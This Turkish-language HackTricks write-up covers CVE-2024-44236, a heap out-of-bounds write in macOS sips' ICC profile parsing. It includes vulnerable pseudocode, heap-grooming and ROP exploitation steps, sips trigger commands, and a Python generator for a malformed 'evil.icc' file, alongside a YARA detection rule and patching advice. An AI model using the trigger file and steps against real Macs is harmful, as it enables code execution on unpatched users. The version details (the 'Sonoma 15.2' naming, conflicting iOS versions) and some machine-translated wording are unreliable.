WWW2Exec - sips ICC Profili Sınır Dışı Yazma (CVE-2024-44236)

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

Apple macOS Scriptable Image Processing System (sips) ICC profil ayrıştırıcısındaki sınır dışı sıfır-yazma açığı (macOS 15.0.1, sips-307), bir saldırganın yığın meta verilerini bozmasına ve primitive'i tam kod yürütmeye yönlendirmesine olanak tanır. Hata, lutAToBType (mAB ) ve lutBToAType (mBA ) etiketlerinin offsetToCLUT alanının işlenmesinde bulunmaktadır. Saldırganlar offsetToCLUT == tagDataSize ayarladığında, ayrıştırıcı yığın tamponunun sonundan 16 byte siler. Yığın spreyleme, saldırgana ayırıcı yapıları veya daha sonra dereferans edilecek C++ işaretçilerini sıfırlama imkanı tanır ve bu da arbitrary-write-to-exec zincirine yol açar (CVE-2024-44236, CVSS 7.8).

Apple, hatayı macOS Sonoma 15.2 / Ventura 14.7.1'de (30 Ekim 2024) yamanmıştır. İkinci bir varyant (CVE-2025-24185) 1 Nisan 2025'te macOS 15.5 ve iOS/iPadOS 18.5'te düzeltilmiştir.

Açık Kodu

c
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0;            // no bounds check vs allocated size!
}

Exploitasyon Adımları

  1. Kötü niyetli bir .icc profili oluşturun
  • Minimal bir ICC başlığı (acsp) ayarlayın ve bir mAB (veya mBA ) etiketi ekleyin.
  • Etiket tablosunu offsetToCLUT etiket boyutuna (tagDataSize) eşit olacak şekilde yapılandırın.
  • Etiketin hemen sonrasına saldırgan kontrolündeki verileri yerleştirin, böylece 16 sıfır yazma, ayırıcı meta verileriyle örtüşsün.
  1. Profili etkileyen herhangi bir sips işlemi ile ayrıştırmayı tetikleyin
bash
# doğrulama yolu (çıktı dosyasına gerek yok)
sips --verifyColor evil.icc
# veya profili gömülü olan görüntüleri dönüştürürken örtük olarak
sips -s format png payload.jpg --out out.png
  1. Yığın meta verisi bozulması ➜ keyfi yazma ➜ ROP Apple’ın varsayılan nano_zone ayırıcıda, 16 baytlık slotlar için meta veriler 0x1000 slab'inin hizalanmış kısmının hemen sonrasında bulunur. Profilin etiketini böyle bir slab'in sonuna yerleştirerek, 16 sıfır yazma meta->slot_B'yi bozar. Ardından gelen bir free işleminden sonra, zehirlenmiş işaretçi küçük serbest listeye eklenir, bu da saldırgana keyfi bir adreste sahte bir nesne ayırma ve sips tarafından kullanılan bir C++ vtable işaretçisini yazma imkanı tanır, nihayetinde yürütmeyi kötü niyetli ICC tamponunda saklanan bir ROP zincirine yönlendirir.

Hızlı PoC üretici (Python 3)

python
#!/usr/bin/env python3
import struct, sys

HDR = b'acsp'.ljust(128, b'\0')          # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)]              # one tag directly after header
profile  = HDR
profile += struct.pack('>I', len(TAGS))  # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)

mab = bytearray(52)                      # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52)      # offsetToCLUT = size (OOB start)
profile += mab

open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))

YARA tespit kuralı

yara
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author       = "HackTricks"
strings:
$magic = { 61 63 73 70 }          // 'acsp'
$mab   = { 6D 41 42 20 }          // 'mAB '
$mba   = { 6D 42 41 20 }          // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10):           // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}

Etki

Özelleştirilmiş bir ICC profilinin açılması veya işlenmesi, çağıran kullanıcının bağlamında uzaktan keyfi kod yürütme ile sonuçlanır (Önizleme, QuickLook, Safari görüntü işleme, Mail ekleri vb.), profilin aksi takdirde zararsız olan görüntülerin (PNG/JPEG/TIFF) içine gömülebilmesi nedeniyle Gatekeeper'ı atlatır.

Tespit ve Azaltma

  • Yamanlayın! Ana bilgisayarın macOS ≥ 15.2 / 14.7.1 (veya iOS/iPadOS ≥ 18.1) çalıştığından emin olun.
  • Yukarıdaki YARA kuralını e-posta geçitlerinde ve EDR çözümlerinde dağıtın.
  • Güvenilmeyen dosyalar üzerinde daha fazla işlem yapmadan önce gömülü ICC profillerini exiftool -icc_profile= -overwrite_original <file> ile temizleyin veya kaldırın.
  • Bilinmeyen içeriği analiz ederken Önizleme/QuickLook'u "şeffaflık ve modernizasyon" VM'leri içinde kumanda ederek güçlendirin.
  • DFIR için, birleşik günlükte kumanda edilen uygulamalar tarafından sips --verifyColor veya ColorSync kütüphane yüklemelerinin son zamanlarda yürütülüp yürütülmediğini kontrol edin.

Referanslar

  • Trend Micro Zero Day Initiative danışmanlığı ZDI-24-1445 – “Apple macOS ICC Profil Ayrıştırma Sınır Dışı Yazma Uzaktan Kod Yürütme (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
  • Apple güvenlik güncellemeleri HT213981 “macOS Sonoma 15.2'nin güvenlik içeriği hakkında” https://support.apple.com/en-us/HT213981

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin